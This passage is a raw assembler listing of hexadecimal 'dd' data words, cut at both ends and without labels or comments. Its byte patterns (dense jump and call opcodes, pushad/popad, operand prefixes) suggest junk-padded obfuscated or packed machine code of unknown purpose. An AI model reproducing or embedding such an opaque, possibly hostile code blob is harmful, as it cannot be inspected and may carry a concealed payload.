0AF39C932h, 1DAB0340h, 59FB0EF6h, 9E92B6Dh, 61000000h dd 0C4B6E833h, 0EEE48CF4h, 3830F5Bh, 0F000000h, 0BF66C1B7h dd 0B70F2B93h, 0FE9FCDBh, 73000000h, 0CC9D0E80h, 6F6C4AC6h dd 0C5525A85h, 51F5D0A8h, 0DE9h, 99717400h, 784EBC2Ch dd 464AC0FEh, 0F5AC0F9h, 0EE81D0B7h, 43997813h, 11E9h dd 6EE9F200h, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h, 0C68B80E8h dd 36CB8166h, 6683B676h, 0F5CCABBh, 0B866C3B7h, 8B660C5Bh dd 0C38053D1h, 8B665925h, 0FE8F7h, 4A780000h, 7A2FAA6Eh dd 47BCF338h, 0F48AF105h, 0E6B866BAh, 0C0815BEBh, 36DF51B8h dd 8B0FF88Bh, 0Ah, 0D78B6660h, 0DDA8C8BFh, 8B666108h, 0F081F5D0h dd 61093AD4h, 6642C080h, 0C7FED181h, 8F0F53FCh, 4, 0A962B866h dd 0EE9605Fh, 0A3000000h, 1D9FF66Ch, 577F0442h, 2BF0EAE8h dd 0D7BA665Ah, 8A606167h, 6199B0D7h, 3860Fh, 0D4800000h dd 8E943h, 0AE8A0000h, 29AF5801h, 0B70F8FDFh, 138F0FCBh dd 0E9000000h, 0Eh, 2B87B378h, 5DE694D3h, 20DCA17Ch, 8B668ABAh dd 0D0BF0FC2h, 6E8FB8Bh, 0C4000000h, 83F19C39h, 0CE81665Bh dd 0F597ABCh, 28Ch, 0E9CF8B00h, 12h, 0CAB3CDFAh, 4BB03B65h dd 0EC02F2D7h, 85FEAB1h, 800FD88Ch, 0Dh, 8E9h, 0BE774A00h dd 6CC6966Eh, 0F181662Bh, 8F0F692Ch, 0 dd 3870Fh, 8B660000h, 0D0BF0FF2h, 0FC2D5FBBh, 8166F80Ah dd 60E005D7h, 9E9h, 73FA7300h, 2A84D510h, 8D0FD58Eh, 0 dd 271FBA61h, 8F0F150Ah, 10h, 0BE9h, 3CDF6000h, 0D318D640h dd 0FD8D2F53h, 0A0C78166h, 0B8B0F1Ah, 60000000h, 31D8F081h dd 0EE8029FBh, 92B26156h, 11E8h, 4D325E00h, 2CDD7FCAh dd 0C445A8C0h, 3CBE553Dh, 0F5EDAB1h, 8166C6B7h, 66BB9AD9h dd 840FCE8Bh, 2, 0FCF5FD8Ah, 0BE8h, 96BB9400h, 6501A5C9h dd 8465AD20h, 5AC3CF80h, 3870Fh, 8B660000h, 0F5E880C3h dd 5870Fh, 32BB0000h, 0F12CEAAh, 1E8Ch, 13E800h, 20CF0000h dd 0ABB7E5F7h, 7760BE31h, 5DDE5354h, 0CA1999E4h, 0AB4CBE83h dd 0BE58471Bh, 5FFB3F60h, 0E95BF553h, 13h, 1F250990h, 0AFB65525h dd 38BEB907h, 0E73AEDF7h, 0BA662D25h, 10FC7DBFh, 8160D68Bh dd 0BC4B4EE2h, 8B536161h, 665759C8h, 5E0C63B9h, 5AE7C681h dd 19B85B23h, 0F71F2DEh, 8Eh, 9E800h, 4D5B0000h, 9AE2A9D9h dd 6623DE81h, 0F5FC28Bh, 8B66CEBFh, 0D88B66D7h, 11E95260h dd 0EB000000h, 9BF6500Dh, 3C8384CCh, 0CE08C104h, 8FABE523h dd 61F0B25Fh, 5BFE8B57h, 6850F53h, 0F000000h, 8Eh, 0F98B5900h dd 68D0F60h, 81000000h, 0D1B67DE8h, 0EE86176h, 0E000000h dd 818A0CC4h, 0A859F2Eh, 0F64B81F1h, 0BF0F5E3Ch, 0CF8B66CFh dd 0E8DA8B66h, 0Dh, 373B5268h, 450039E0h, 6F729BACh, 2830FABh dd 8B000000h, 0BF665BCFh, 0F580EA92h, 0B810FB6h, 60000000h dd 840Fh, 0EF800000h, 5E96110h, 8C000000h, 19FBCED0h, 11E9h dd 0BA334B00h, 79B958DBh, 0A4920250h, 0C08B630Dh, 81665011h dd 0F74B8F2h, 88h, 8B666000h, 5E861D0h, 0E2000000h, 0A65E189Bh dd 97D38166h, 10E85FC9h, 0E5000000h, 3A8CE2B3h, 0ACFBD360h dd 0DBA24171h, 66B88320h, 0E95BD98Bh, 5, 6E91F477h, 0FE9C7h dd 49B30000h, 0F0AA32Fh, 1AE8A716h, 30B78440h, 5E845h dd 49380000h, 663092F6h, 1FBCC881h, 0F9C88B5Bh, 4820Fh dd 0B3600000h, 80F9613Bh, 8B6615C0h, 14E8D8h, 79240000h dd 2EA8A3D5h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 0F78138E5h dd 482EC9B2h, 9ECD805Fh, 3830Fh, 0C6800000h, 28B0FC8h dd 0B0000000h, 0FE8D4h, 91750000h, 2E850BFDh, 0FE1B161Bh dd 0CB8E0801h, 2735BFAAh, 605A7904h, 55CA8166h, 5E5152A6h dd 0B8F9615Ah, 7EF73F66h, 9E96050h, 37000000h, 7AAF5353h dd 208AA5B8h, 860Fh, 5E610000h, 0ADCF8166h, 0CB8B6633h dd 0BF0FE68Ah, 0F0BF0FF3h, 12E9h, 7F286C00h, 0F3ED26EBh dd 0D14BBAC3h, 0EC9CFE1Ch, 0E9DD1B8Bh, 0Dh, 9422F9C8h dd 3CD55877h, 23891496h, 14E80Eh, 81100000h, 0B9E6F874h dd 87FB7C8Fh, 3E622A3h, 93E2B8F1h, 0BAB9CFC5h, 5A4CBC5Bh dd 6AAEBB66h, 11E9h, 60EC4300h, 75B66B95h, 33B97275h, 35C4FDA0h dd 15BEAC42h, 0F620FF4h, 138Ch, 0EE900h, 3D540000h, 4B77FDA5h dd 744E005Ch, 0AB2F018Fh, 13E9h, 8A647200h, 0EE08E1C9h dd 802C9DAEh, 90AC6CC1h, 412A9947h, 0F5F18B66h, 4DD98160h dd 6602D32Ah, 0E961D78Bh, 0Fh, 0D8560184h, 197F269Dh, 3081B480h dd 0E941E02Fh, 7, 0DD689975h, 0FD0BDEFh, 582h, 60F86000h dd 0B70F6161h, 10E9FCDBh, 89000000h, 0ABF5ED68h, 0C2B3C5FFh dd 36615198h, 0F6B1C0Ch, 8Ch, 6AE88100h, 66219397h, 663597BFh dd 0FC7F0B9h, 148Ch, 0FE900h, 0E8EE0000h, 77C700ABh, 73B01335h dd 6B61CC66h, 0C6B70F82h, 18F0Fh, 8BF50000h, 0CEB70FD0h dd 0C781F6B6h, 343D1897h, 6651F08Bh, 0B013C081h, 0B2D08058h dd 7E960h, 0D71D0000h, 0A70BC7C4h, 2840F07h, 8B000000h dd 0DE961CBh, 0A1000000h, 71B43060h, 795305D9h, 56E24DDAh dd 22C78166h, 0F7B70F68h, 0FDFBF0Fh, 58Ah, 0DB816600h dd 8166FF59h, 0E9D2A9E3h, 7, 4F219F1h, 52BE742Fh, 4860Fh dd 0BB660000h, 665B0745h, 0E97A89B9h, 7, 0F08E1FE8h, 66B6B44Fh dd 0AE7FEF81h, 0CAE08166h, 0FFD8ADEh, 1385h, 0EE900h, 0C7FE0000h dd 80A1F895h, 0A5BA5D6Ch, 1926CFF4h, 0B70F5DB1h, 0CA80F5D8h dd 5E91Dh, 50780000h, 662604CBh, 0EB81C88Bh, 75458108h dd 5035C380h, 0F48AF959h, 12E8h, 0E1B07100h, 0AE021431h dd 4DC8DC49h, 85901AD8h, 8A4BB705h, 10E859FCh, 0E000000h dd 0FCAF6546h, 0F4C088CAh, 0FD4B66F8h, 80F6D38Dh, 8B5E37E4h dd 8B6660C6h, 14E8FAh, 41430000h, 0EF7BC23Ch, 0AF010F0Bh dd 4DE17498h, 735F9B77h, 0F9B41767h, 0EE9615Eh, 58000000h dd 0D897B097h, 0C5BFD3A4h, 0D10A6573h, 68B0FCDh, 81000000h dd 284A43DEh, 0E605B80Ah, 6DBB6262h, 0F85696F1h, 5FF18B53h dd 8C0F60h, 61000000h, 61C38166h, 0DE80563Dh, 10E95A67h dd 0DE000000h, 29B74385h, 0DDE124F7h, 1CB7B6Eh, 0E831F553h dd 14h, 0FFED7AF2h, 797D1197h, 0D643AE5Ch, 58B12AE9h, 0D239A23Fh dd 0E2A2BB66h, 0BE859h, 0B5EC0000h, 0CF5B1ECCh, 42F5EA27h dd 0EE8166ECh, 8058DAA5h, 0D18B26F6h, 0F86DD980h, 7E8h dd 320E0F00h, 0B8B8F71Dh, 75B35BF9h, 8E8h, 0C7956400h dd 4DEBDC32h, 0D8BF0F69h, 0E9ABB75Fh, 0Bh, 342CD1FBh, 3CFBC3C2h dd 0F94835Ch, 66F8F6BFh, 0F6829B8h, 0B89h, 5E800h, 4BE20000h dd 5FFE8419h, 0F726BEF9h, 0E96043E5h, 0Ah, 0C0DEF6Dh, 0BEC0F29Dh dd 870FF7E1h, 1, 0E98061F8h, 0BE6651CAh, 665B20D9h, 0BF1718B8h dd 58860450h, 0F7BF0F56h, 0CE958h, 11810000h, 0B13F7DA7h dd 604CA9DBh, 8E99635h, 59000000h, 10C311A5h, 0E9F88585h dd 14h, 9E6ACF88h, 8D46E6BFh, 70D8532Eh, 6E81CA67h, 0AD2A1D37h dd 8BF85A51h, 0DE8B66FEh, 7E8h, 92B4BB00h, 909EB5F6h, 59D0BF0Fh dd 38C0Fh, 0EB800000h, 4EF81AFh, 81730AD8h, 0BE3F68EAh dd 0DA81665Ah, 0B9B94696h, 0FC7ED29Ah, 0E8A0DC80h, 0Ah dd 0EFDD6899h, 2FC9D0BDh, 0CEB55423h, 0E7D9815Ah, 0B80815EDh dd 5B0194BFh, 8CD222BAh, 8D0F7Dh, 66000000h, 81FF8DBFh dd 231E54D0h, 12C7807Fh, 11E8h, 41330800h, 3684110Ch, 34D50029h dd 9752ECF5h, 800F034Ah, 6, 850Fh, 0F580000h, 880FD6B7h dd 6, 7AB96651h, 0BB665F83h, 8B663EF6h, 11E9C8h, 0EBC0000h dd 858DA7E1h, 57BC6330h, 4003671Fh, 66D65B17h, 870FCE8Bh dd 12h, 0DE9h, 225B9300h, 0A2E0FA2Eh, 70338984h, 0CEB2CE48h dd 609DDD80h, 0BE8F9h, 0ED460000h, 0AFC76813h, 3BE0694Eh dd 5E8ADh, 0CB60000h, 5EFB9A9Ch, 8B0F615Bh, 1, 0F61B6F8h dd 8B66C6B7h, 10E952DAh, 0FC000000h, 304CD976h, 0A731D200h dd 0C1F284DDh, 5E02776Eh, 50D68166h, 0FB6B56Fh, 284h, 8BDF8B00h dd 0CE8CFh, 50D10000h, 7C7BB96Ah, 53277EA7h, 6E9FD83h dd 0A6000000h, 410E5CD9h, 7E95E21h, 8F000000h, 6C3446AFh dd 0B70F6AB1h, 0FE9FEh, 909D0000h, 83DBA38Eh, 0BE032505h dd 0C1D975C2h, 9E90Bh, 8AC0000h, 2A0B0CF3h, 0F80C98Bh dd 0BF0FFBB7h, 0DE8D7h, 10AB0000h, 3B0AC7DDh, 0ED7CC94Fh dd 57EF44E1h, 0BE9h, 0E138F800h, 0EDC6C929h, 0A152BE93h dd 0AE95A5Eh, 72000000h, 5F605659h, 0F07656Eh, 0FE9CDh dd 42250000h, 72C7553Ch, 9CAB34E3h, 0C011A0Bh, 0F4B96651h dd 0A4E08163h, 6038DB9Dh, 6626F380h, 0B861C88Bh, 2A8079C6h dd 12E9h, 69AAD800h, 0E55712A4h, 4BEC5CD7h, 58DBBA33h dd 0E95079B9h, 13h, 0B1141E2Fh, 455EE902h, 0FD1555FAh dd 8293B167h, 0E9B675D1h, 0Fh, 4F9137F2h, 27839D4Fh, 620C9C1Eh dd 0B2AD8A10h, 66CA8BEAh, 0A2FBC281h, 5860Fh, 16BE0000h dd 0F6B10D9h, 48Fh, 73BA6600h, 48F0F29h, 66000000h, 564DB5BAh dd 0E95AF38Bh, 0Fh, 508B536Fh, 0F308AC44h, 8B2A0B0Ch, 0F8480C9h dd 0F57D7BFh, 689h, 36C38100h, 5F6E2A44h, 0FC9ECA80h, 66FAB70Fh dd 77C3D681h, 0BE66E1B3h, 0E8F82097h, 7, 110F9B47h, 66A78C85h dd 5AADC4B8h, 0FB7E880h, 58Dh, 50F96000h, 6E9615Bh, 0AB000000h dd 45839B0Bh, 6BB660Dh, 0B5B966A6h, 66F78A62h, 0E80BD081h dd 0EE819B1h, 18000000h, 8A4273CCh, 0E6BC8467h, 0AB6F6F5h dd 87B86644h, 8F0F5A06h, 18h, 13E9h, 209D5A00h, 6E2100F5h dd 97D27697h, 0CE0DD1CAh, 0A3C49CEh, 0CF8BD98Bh, 0C78B6660h dd 0E861E58Ah, 5, 24384504h, 7E940h, 326E0000h, 0C63B633Dh dd 0C281597Fh, 737BB08Bh, 5880Fh, 0F570000h, 525AFABFh dd 6850Fh, 0E7810000h, 4082DB95h, 0F3BF0F5Ah, 0E9F1BF0Fh dd 0Fh, 0FF0CE77h, 0B72DDC1Ch, 785AEBE3h, 0F5E989AAh, 5E9h dd 65E95B00h, 0F78A1358h, 9AFEF181h, 0C38B352Ah, 5E8h dd 97F7C200h, 870F33D9h, 1, 0B70F5FF9h, 11E9C1h, 7BDD0000h dd 48D5FC90h, 301CC3BDh, 9F6096B0h, 6022FCC7h, 0E861DA8Ah dd 0Eh, 0D499129h, 0F88E97B6h, 0EB9789F0h, 8B0F837Eh, 6 dd 840Fh, 8B5A0000h, 816660C6h, 52CDB5F2h, 0FE8h, 1811D800h dd 0E7E91D04h, 6016DEAAh, 2598F61Fh, 66615A59h, 0C2FDCB81h dd 12880Fh, 890F0000h, 0Ch, 7E9h, 264FF200h, 881C7B99h dd 86BABB66h, 0FE950h, 66F30000h, 0A12F574Ch, 57389E0Dh dd 217ABEEBh, 890F5BA0h, 19h, 14E9h, 0E656D700h, 7FCBD97Fh dd 0F7C22014h, 4033D997h, 0AD6BDA67h, 20870F4Eh, 0E8000000h dd 14h, 19BFF7FAh, 6591CD40h, 2E28B5B0h, 0ED281AC0h, 676743B5h dd 1226C181h, 665914EEh, 0C336CE81h, 0BE66FCh, 5860FE9h dd 66000000h, 0A703F381h, 8166F38Bh, 662139C3h, 0FE8FA8Bh dd 0D2000000h, 2C8061B3h, 2388A375h, 629F15BFh, 8166D731h dd 5FC41AE8h, 0E9BFE58Ah, 0B8291DC5h, 1FEE0F84h, 13E9h dd 91011900h, 3D7FEAD1h, 0F61C49EEh, 99AF88CFh, 0F4B7A842h dd 0E79CB5B8h, 0B9665728h, 80582C2Dh, 0FA8A09F2h, 48D0F57h dd 66000000h, 5A79C0B8h, 68A0Fh, 0C3810000h, 76C74786h dd 0BF0F5253h, 0E95F59D1h, 0Ah, 3C863ECCh, 652915B9h, 6E92A98h dd 66000000h, 0DF7C53B2h, 2DDE8178h, 0E8304F70h, 7, 0A33EB3E1h dd 5936808Bh, 0EAC38160h, 0E96B3AF6h, 9, 4C12631Eh, 6DDEA323h dd 8B66612Ah, 11E9DEh, 49090000h, 0AC047915h, 49B13DC8h dd 0F2B45B6Dh, 667DBC91h, 0E90D5CBEh, 13h, 70E7DF51h, 0B69EE33Ch dd 0DC80B1E2h, 0F9248FD1h, 0F9ADC706h, 8BF7BF0Fh, 0B866DFh dd 5EF8564Bh, 14E9h, 57E29400h, 9EF62DF5h, 83E06193h, 82940FF8h dd 316DAFFCh, 4860FA8h, 66000000h, 0E8459CB8h, 0Eh, 0FA1377B5h dd 0CBCFCF13h, 0D9AE1265h, 6FB48D54h, 0C68B6058h, 3DB86661h dd 6EF38192h, 0F3865D4h, 72B5FEB7h, 5890Fh, 97BF0000h dd 0B76B7901h, 0EE8166CCh, 8E82B99h, 0C000000h, 0C437CF6Bh dd 66D20927h, 9B03DB81h, 58E0F59h, 66000000h, 0C680D681h dd 0E9C0B70Fh, 12h, 7F40DB82h, 0BAEEFCB3h, 0B3D13848h dd 0AE3508AEh, 820FB17Ah, 6, 0E438CA81h, 0F577339h, 81h dd 0AE85F00h, 59000000h, 902F20D7h, 482C4580h, 9AF3816Ah dd 5F5A7D7Eh, 3EE98166h, 8DEB8034h, 18B0Fh, 8AF80000h dd 7E9F8h, 889D0000h, 870515EDh, 0FE95Dh, 0D80B0000h, 4BAB4138h dd 6D4BF680h, 0AD5AAE55h, 50F281C7h, 0F632537h, 485h, 7FBF6600h dd 0EE941h, 98BE0000h, 0F0D00E5Dh, 8A406011h, 96CF647Dh dd 0F8DE8B66h, 0CBC78166h, 5870FD6h, 0B9000000h, 63271906h dd 46EE8166h, 0F779BA92h, 820F45A2h, 0 dd 0B43DF181h, 7E9565Fh, 0DE000000h, 9259F66Eh, 0EE83C69h dd 3B000000h, 108712B4h, 534381B9h, 24D1431Fh, 0D9B70F8Bh dd 0E0C3815Ah, 666B9FC5h, 0FF9CE8Bh, 0CE9FBBFh, 0D3000000h dd 39C65DA0h, 0C042C17Eh, 0FCA0006Eh, 8166F38Bh, 668357D9h dd 12E8CE8Bh, 0D6000000h, 0AB0AD733h, 1212A11Ah, 0B3DBF365h dd 0ACB00618h, 8C0FD4h, 5A000000h, 0CF1EB966h, 5BE981F5h dd 816E3067h, 243DBEC3h, 0C1BF0F03h, 0FF2BF0Fh, 181h, 8D0FF500h dd 5, 0DC68166h, 0E9C68A64h, 10h, 1D0FD75Eh, 0EFEC40F2h dd 96A35B72h, 0A0CAA421h, 9C23EB81h, 11E83326h, 45000000h dd 0A2361FA0h, 0EB21C78Ah, 3B6E9D10h, 0AC0F0023h, 8F0F60h dd 0B8000000h, 2E80667h, 8A0F5E61h, 5, 313031B8h, 0AE972h dd 8A840000h, 25C916E9h, 1BB06BDFh, 0EE9h, 10DC3100h, 26883064h dd 0C73288BCh, 665203D9h, 8166F98Bh, 0BF27D9C2h, 4C781280h dd 8166C18Bh, 0FE731D7h, 38Bh, 0F0BF0F00h, 0D2B70FF9h dd 0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch, 76BBB462h dd 8166FA8Bh, 66E248E0h, 66EACDBEh, 0B329D881h, 66D8B70Fh dd 0F1C53B9h, 90B7CFB7h, 0A890Fh, 870F0000h, 4, 3AD3B866h dd 66C7B70Fh, 8B27FAB9h, 11E8CEh, 0CA720000h, 0BC69122Eh dd 74EFDE15h, 0F629A4FEh, 0E96BC3B2h, 10h, 4BB20E8Fh, 32F77749h dd 0E3498F2Ch, 0C00DDB15h, 7E95Fh, 84290000h, 0C3F4D90Eh dd 0E8FA8B85h, 0Dh, 2FC8FEB0h, 0DF530368h, 0C3B3F489h dd 0EE960FAh, 0A4000000h, 8B7C3F52h, 489FBB0Bh, 0D6305267h dd 5F61F948h, 8151F180h, 0EF46A9CBh, 14E80Ch, 0FAA80000h dd 0A75C00DAh, 0EE0FD29Eh, 9A46ED8Bh, 0E77D1FEDh, 0DE8677Eh dd 21000000h, 0E7626D86h, 25FD735Dh, 0E644128Bh, 5E5E5852h dd 666160F5h, 465CE781h, 50C88B66h, 0C52F02BEh, 850F5B41h dd 10h, 0A890Fh, 5E90000h, 0B8000000h, 0BAA35F4Bh, 8D0FD68Bh dd 6, 0C09C081h, 8B660495h, 0D88B66C2h, 56D6EA80h, 10E9h dd 0F5FD4300h, 80F5A03Bh, 0A498BF70h, 4B9D0793h, 9E85F42h dd 3D000000h, 213E4135h, 22706DBCh, 0A1BE6650h, 0F595BBCh dd 0EF80FFB7h, 0C9E08155h, 0F91BE1DDh, 8B666060h, 0BA6661F0h dd 0B0614B87h, 10E9FAh, 0C4950000h, 5C66030Dh, 5812372Dh dd 47002B66h, 2BB53209h, 0D3E748B8h, 0BF0F6017h, 640CBBC2h dd 66615DACh, 5BBCEB81h, 0EE9h, 1720AF00h, 0D6C09A3Bh dd 706C0598h, 80D47F8Bh, 810FD5D2h, 2, 53BBC28Bh, 8174F1DBh dd 82B1C1F6h, 860F6026h, 5, 0EB8C0DB8h, 8166613Dh, 66D941D3h dd 0E58AD98Bh, 7F57FBBFh, 0D3816600h, 49B18829h, 3DE98166h dd 0E8F88B12h, 11h, 0E40C3E92h, 53C7DC6Eh, 0C87E0EA3h dd 1BE959AFh, 0C78B66ABh, 0FC68B5Bh, 1784h, 11830F00h dd 0E8000000h, 0Bh, 0E6402C5Dh, 15E65CB1h, 5FF2BBC0h, 0F46CBA66h dd 0C8BF0F60h, 1870Fh, 61FC0000h, 0FD6BF0Fh, 80h, 8E900h dd 346B0000h, 5CD2CD33h, 0C7807AD9h, 0F78B6609h, 890F6060h dd 0 dd 8F0Fh, 61610000h, 6ED480F5h, 6E8h, 0DBE55300h, 0B4E24B7Dh dd 0E95358B6h, 5, 9262C634h, 0B7F559C4h, 0B866FC3Bh, 0C9809936h dd 10E95178h, 2F000000h, 27693FE5h, 3DF44354h, 8CC93F05h dd 5BAD262Bh, 4870Fh, 0BB660000h, 0EE9EE34h, 9C000000h dd 0A4533AB1h, 6F11992Ch, 0B6329110h, 12E96Eh, 37450000h dd 0ED67993Ah, 0AC10346Ah, 96191DB4h, 0A10E20Fh, 0C38166F8h dd 9E96503h, 9A000000h, 6C7455D3h, 0E27F3F1h, 60CB8B66h dd 0DE9h, 9DCABB00h, 0DBA38E90h, 3250583h, 6061C2BEh, 0DB9EB866h dd 2880Fh, 0D88B0000h, 8ADA8B61h, 7132B8C7h, 8B667CECh dd 0FAE281DEh, 0BF1CBDCDh, 11DF713Dh, 0A91BBF60h, 14E8181Eh dd 0A5000000h, 39F8BD87h, 0C29CD4A8h, 247DCA1Bh, 134EB9F7h dd 60389AC3h, 0E8615861h, 5, 0A1ED3C3Ah, 8E0FE3h, 5B000000h dd 74D38166h, 0C38B6069h, 8061CE8Ah, 0D8800CC0h, 14E9E4h dd 0B2ED0000h, 0BBECAC68h, 0A361148Eh, 0EB00DF54h, 0FDD21441h dd 13E8B00Eh, 7000000h, 8E949B5Eh, 0C7D5259Fh, 737492F2h dd 0C6CA1A6Ah, 0BF0F8928h, 8B605AF2h, 7E9C6h, 83BE0000h dd 4694733Eh, 0D6816113h, 27075165h, 7E9h, 765D9000h, 97EB1B8h dd 0FE9h, 0B8FA9600h, 93D35825h, 6948C144h, 2FDD286Ah dd 5860Fh, 81660000h, 818134F6h, 4FD36AD3h, 11E8F52Bh dd 96000000h, 8AF858E4h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h dd 81665EF5h, 0F5965DEh, 1088h, 0BE900h, 0C2C00000h, 0A9CBE3D7h dd 0ACF28DCh, 0F6BF0FB3h, 6678F681h, 0EE91EFCh, 35000000h dd 1384DC65h, 886214D1h, 31D0B5E8h, 0BCBE66D5h, 8E8BFh dd 24520000h, 0EEEA0692h, 0BE660738h, 665AB76Ah, 808845B8h dd 0B4FCD1E2h, 12E930h, 0B4F00000h, 5BEBA2B1h, 0CFD8485Ah dd 1162BFBAh, 46F18902h, 10E960h, 5CCE0000h, 0ED6F24F5h dd 6E6F8FA2h, 26501D75h, 8B662774h, 0B70F61C7h, 93D881DAh dd 8A04EF28h, 0AE8EEh, 78E80000h, 120F4648h, 30E94C40h dd 665AD98Bh, 81B850BAh, 98921CC3h, 0BE956h, 56FF0000h dd 0A2F8407Eh, 0B76AEEACh, 0C7BF0F46h, 0DBAB966h, 0B52DBAB9h dd 0F8F7B805h, 0F572C1Dh, 575BF7BFh, 58F0Fh, 81660000h dd 5FF298DEh, 11E9h, 0BDDD5600h, 885F6A46h, 0F6ABC65Fh dd 39BBDD5Ch, 6060E499h, 0BF0F5A52h, 8B6661F0h, 810F61D8h dd 3, 66D88B66h, 0B0BBDE8Bh, 0E950A258h, 7, 84289BD2h dd 8B99A25Fh, 0ACD081D7h, 0F1E9430h, 58Ch, 0BF0F6000h dd 0E96061D7h, 6, 0E471F77h, 5857C0FAh, 870F5661h, 2, 0B15910B7h dd 9575BB8Fh, 0F38B0528h, 3EDCBA66h, 0E8DEB70Fh, 8, 720FA68Fh dd 562944BBh, 0DE8h, 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh dd 8166BF28h, 59D46CC0h, 8012B05Eh, 0B0F95ED7h, 0AE960B9h dd 0C9000000h, 0C9C4912Ah, 491EA6Bh, 0F2B70F84h, 0BE665361h dd 665B5D5Ah, 0F8DB7BBh, 8Ch, 0CE800h, 99620000h, 0F5244BBFh dd 47220A5Ch, 0F2BB0F9Bh, 5E3BF5A0h, 66C9BF0Fh, 418BDB81h dd 0BB5D9BFh, 6614B628h, 0E97C66BFh, 11h, 0A315FA9h, 69E82CE5h dd 5E36F3CAh, 0DE16E434h, 6BC3812Ah, 57280B6Ch, 28D0Fh dd 0CF8B0000h, 0B7DA815Fh, 8132C171h, 8DBD0AF7h, 2830F6Ch dd 8A000000h, 0BE6651DCh, 815BB7F0h, 0A107E3E9h, 0C88BF966h dd 0E904CE80h, 8, 6B17901Ch, 239EC6A8h, 14E860h, 33860000h dd 5AE1AB87h, 0A642B736h, 3F66E4C4h, 4057C720h, 830F701Bh dd 0 dd 14E85Bh, 7FEF0000h, 0DE30EAA8h, 9D029D1Ch, 0A2D60AD8h dd 0D1DDE2EAh, 0FBB980BEh, 5A22C774h, 6CBA6661h, 5E958h dd 0F0430000h, 525D28EAh, 0E959D9B5h, 5, 0F7EA1979h, 0F9BF0F2Fh dd 4CE68166h, 3810F12h, 66000000h, 10E9CE8Bh, 7C000000h dd 51F65667h, 35CC5A57h, 0EB7225Ah, 81FCA6EAh, 0C28DC6C7h dd 0F8DE8A28h, 2B3CB8FCh, 0CA8A05CBh, 12E9h, 0C28BF500h dd 0E601B400h, 91559EE0h, 10915EDDh, 0F1B01C3h, 850FFABFh dd 3, 0FF9BF0Fh, 1F88h, 8E800h, 0D6940000h, 35FB5A44h dd 0CE9393Fh, 0A2000000h, 0B9138C91h, 75B95CB2h, 5F99B80Eh dd 36F28166h, 0F3BE6640h, 57EAB57Ch, 0DE85659h, 0DB000000h dd 4AFF6AE6h, 93F545FBh, 86B97F86h, 0E42C9CBBh, 0B15E5F17h dd 31C88159h, 0FC3ABE52h, 44C0E881h, 810F32FCh, 5, 0FF4EAFB9h dd 0E9F86015h, 0Fh, 73B7BD14h, 7FB11B5Fh, 0CEDCA7FAh, 61F30A0Fh dd 8E46BF66h, 0BE9h, 3BA68300h, 7B7B3E3Bh, 0AB5E9786h dd 0B09ABA66h, 0EBE6651h, 0F57592Bh, 84h, 81665F00h, 6658F5D1h dd 8A60CE8Bh, 0BE961DDh, 86000000h, 93A34624h, 619E5414h dd 8B665C85h, 40EF80CAh, 0E8FEBF0Fh, 11h, 26E73533h, 2FCC9421h dd 0A95FD18Ch, 40A13838h, 0FE905h, 0CAEA0000h, 0F91B2736h dd 6AE03203h, 5D8436E9h, 0F9605EC2h, 0AB23C7BFh, 890F617Dh dd 4, 0F3EEBE66h, 1A8F0F60h, 0E8000000h, 14h, 1F85A213h dd 0D9F92145h, 0AA246ABDh, 0D97B447Dh, 0B1E9FFDFh, 61F88A5Fh dd 28CA8166h, 0E08151F4h, 1701FE4Dh, 0C88B665Eh, 4EB5F681h dd 8A0F5021h, 11h, 0CE9h, 0D9EECD00h, 543E2A14h, 0FE09EB08h dd 0FE9E7h, 0D3D20000h, 0F6D666ADh, 452B81D1h, 0A4174325h dd 3820FF0h, 50000000h, 0E9605EF8h, 7, 852F3BAAh, 0F96CBB1Ah dd 89EB8061h, 0F18B66F8h, 0BFF8FA8Bh, 74DB5C3Eh, 80525A52h dd 8158C4C6h, 0D9F59CDAh, 9E9F571h, 44000000h, 0C2ED8F90h dd 56F36A82h, 0E013D381h, 0D98026ACh, 0DEBF0FA9h, 0BE9h dd 45B37600h, 5FA0857Dh, 0ADBFCAEh, 11E9h, 7A625E00h, 145F26FDh dd 59123E40h, 0B8B37BB6h, 0F78B06C4h, 0FF7B70Fh, 983h dd 81666000h, 563202C1h, 0F88B615Fh, 0DA8B6660h, 4850Fh dd 0BB660000h, 66619CF2h, 0BEBB0CBEh, 551663A0h, 0F5E53FCh dd 489h, 3DBF6600h, 2F7815Bh, 0F29B019h, 188Bh, 13E900h dd 0D5A0000h, 0A5547149h, 3B8141EEh, 144F505Ch, 4F7C6370h dd 0B7DB8180h, 0E82E1A6Eh, 11h, 11598741h, 0BB52E8AFh dd 93B53D64h, 0E5095046h, 3ABA6669h, 60F55864h, 52D7B70Fh dd 860F6159h, 2, 8B0F15B7h, 5, 66D78166h, 0D911BB7Ah, 0BF0F28A7h dd 5E9D6h, 3BD30000h, 0FC26256h, 48Bh, 0EBBA6600h, 8B66524Bh dd 0FA8B59CEh, 16ABB951h, 0E9592F17h, 8, 3FAA31Fh, 0FDF87125h dd 5E8h, 0DB9B0300h, 8166739Bh, 5ED450C7h, 10E9h, 0A68CCE00h dd 0BCB6107Eh, 4BCB5538h, 489C3A60h, 0F2C7817Ah, 0E95068EBh dd 13h, 0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh dd 5, 0A7BCD393h, 5FF7B13Eh, 0AE95660h, 4B000000h, 0E05A83BAh dd 5C6137C2h, 66605936h, 0F22ECBFh, 6161D6B7h, 0BAD2BF0Fh dd 30A6FFD1h, 0FE8h, 0D136000h, 5D94C0E8h, 4C35F612h, 0D2D8D54Ch dd 1820F58h, 0F5000000h, 7E9h, 30CEB700h, 0A14A4DB2h, 41FEBE66h dd 2EE08166h, 0C68B66D2h, 9DDF8156h, 592D5FC4h, 0BEDEBF0Fh dd 701F37D8h, 35F0BE66h, 13E9FCh, 0A6430000h, 88C2C37Bh dd 4AFD7648h, 40521771h, 11B4108Ch, 8E8FCh, 34550000h dd 4C171B75h, 8B6610B6h, 0CE95BF7h, 52000000h, 6448D630h dd 0F28EB1E8h, 66414DD3h, 0EA90DA81h, 3FF6D181h, 0EE95E01h dd 64000000h, 10E098CBh, 0AD053BB8h, 0D0D02EB8h, 870F02h dd 80000000h, 0C88A05E0h, 81F6BF0Fh, 3FD0BBE0h, 0CBB86639h dd 8E0FFCCCh, 1, 0BE66F8F5h, 0F7813140h, 1F7B1A87h, 154BBA66h dd 0AE9h, 25135800h, 0A0195FC1h, 